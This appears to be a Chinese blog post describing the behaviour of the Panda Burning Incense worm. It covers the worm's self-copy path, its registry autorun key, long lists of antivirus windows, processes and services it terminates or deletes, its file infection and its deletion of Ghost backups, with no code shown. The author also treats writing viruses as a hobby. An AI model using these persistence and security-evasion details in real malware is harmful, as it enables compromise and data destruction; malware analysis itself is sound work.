熊猫烧香病毒源码及分析

首先给大家推荐一下我老师大神的人工智能教学网站。教学不仅零基础,通俗易懂,而且非常风趣幽默,还时不时有内涵黄段子!点这里可以跳转到网站

今天在OSC看到有人共享熊猫烧香的源码,用Delphi写的,真的是跨平台啊,犹对Japanese操作系统破坏最甚,字里行间留露出作者的愤青情绪啊,大体的看了下,主要是通过拷贝到Windows系统目录中,注册表添加自启动的蠕虫病毒,通过VB调用Windows的Outlook发送邮件,进而达到传播病毒,原始的病毒是将exe的图标改成熊猫烧香的图标,并没有其他功效,真正破坏性的都是后期制作的。

随着编程语言的简化和提高,写个病毒当个骇客,再也不是梦了,主要你要了解病毒是怎么传播的,如何保证自己不会被轻易的杀掉,对Windows的漏洞也要有很深的研究,这样才能写出一个骇人听闻的病毒,但是写出来也不要张扬,自己娱乐下就好了,被他人恶意利用可不是闹着玩的。

不禁想起了之前微软的一个严重漏洞,迟迟四年也没有发现,漏洞是当OS连续运行49天之后会死机,为什么没有发现呢,因为其他的漏洞导致os还未运行就么久就已经死了,原因是每毫米加衣的计时器,在49天之后,int型就溢出了,导致系统崩溃。

随便说说,看下源码,留着以后研究:

原理
“熊猫烧香”,这是一个感染型的蠕虫病毒,它能感染系统中exe,com,pif,src,html,asp等文件,它还能中止大量的反病毒软件进程并且会删除扩展名为gho的文件,该文件是一系统备份工具GHOST的备份文件,使用户的系统备份文件丢失。被感染的用户系统中所有.exe可执行文件全部被改成熊猫举着三根香的模样。 

1:拷贝文件 
病毒运行后,会把自己拷贝到C:\WINDOWS\System32\Drivers\spoclsv.exe 

2:添加注册表自启动 
病毒会添加自启动项HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run svcshare -> C:\WINDOWS\System32\Drivers\spoclsv.exe 

3:病毒行为 
a:每隔1秒寻找桌面窗口,并关闭窗口标题中含有以下字符的程序: 
QQKav、QQAV、防火墙、进程、VirusScan、网镖、杀毒、毒霸、瑞星、江民、黄山IE、超级兔子、优化大师、木马克星、木马清道夫、QQ病毒、注册表编辑器、系统配置实用程序、卡巴斯基反病毒、Symantec AntiVirus、Duba、esteem proces、绿鹰PC、密码防盗、噬菌体、木马辅助查找器、System Safety Monitor、Wrapped gift Killer、Winsock Expert、游戏木马检测大师、msctls_statusbar32、pjf(ustc)、IceSword 
并使用的键盘映射的方法关闭安全软件IceSword 
添加注册表使自己自启动 HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run svcshare -> C:\WINDOWS\System32\Drivers\spoclsv.exe 
并中止系统中以下的进程: 
Mcshield.exe、VsTskMgr.exe、naPrdMgr.exe、UpdaterUI.exe、TBMon.exe、scan32.exe、Ravmond.exe、CCenter.exe、RavTask.exe、Rav.exe、Ravmon.exe、RavmonD.exe、RavStub.exe、KVXP.kxp、kvMonXP.kxp、KVCenter.kxp、KVSrvXP.exe、KRegEx.exe、UIHost.exe、TrojDie.kxp、FrogAgent.exe、Logo1_.exe、Logo_1.exe、Rundl132.exe 
b:每隔18秒点击病毒作者指定的网页,并用命令行检查系统中是否存在共享,共存在的话就运行net share命令关闭admin$共享 
c:每隔10秒下载病毒作者指定的文件,并用命令行检查系统中是否存在共享,共存在的话就运行net share命令关闭admin$共享 
d:每隔6秒删除安全软件在注册表中的键值 
并修改以下值不显示隐藏文件 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL CheckedValue -> 0x00 
删除以下服务: 
navapsvc、wscsvc、KPfwSvc、SNDSrvc、ccProxy、ccEvtMgr、ccSetMgr、SPBBCSvc、Symantec Core LC、NPFMntor MskService、FireSvc 

e:感染文件 
病毒会感染扩展名为exe,pif,com,src的文件,把自己附加到文件的头部,并在扩展名为htm,html, asp,php,jsp,aspx的文件中添加一网址,用户一但打开了该文件,IE就会不断的在后台点击写入的网址,达到增加点击量的目的,但病毒不会感染以下文件夹名中的文件: 
WINDOW、Winnt、System Volume Information、Recycled、Windows NT、WindowsUpdate、Windows Media Player、Outlook Express、Internet Explorer、NetMeeting、Common Files、ComPlus Applications、Messenger、InstallShield Installation Information、MSN、Microsoft Frontpage、Movie Maker、MSN Gamin Zone 

g:删除文件 
病毒会删除扩展名为gho的文件,该文件是一系统备份工具GHOST的备份文件使用户的系统备份文件丢失
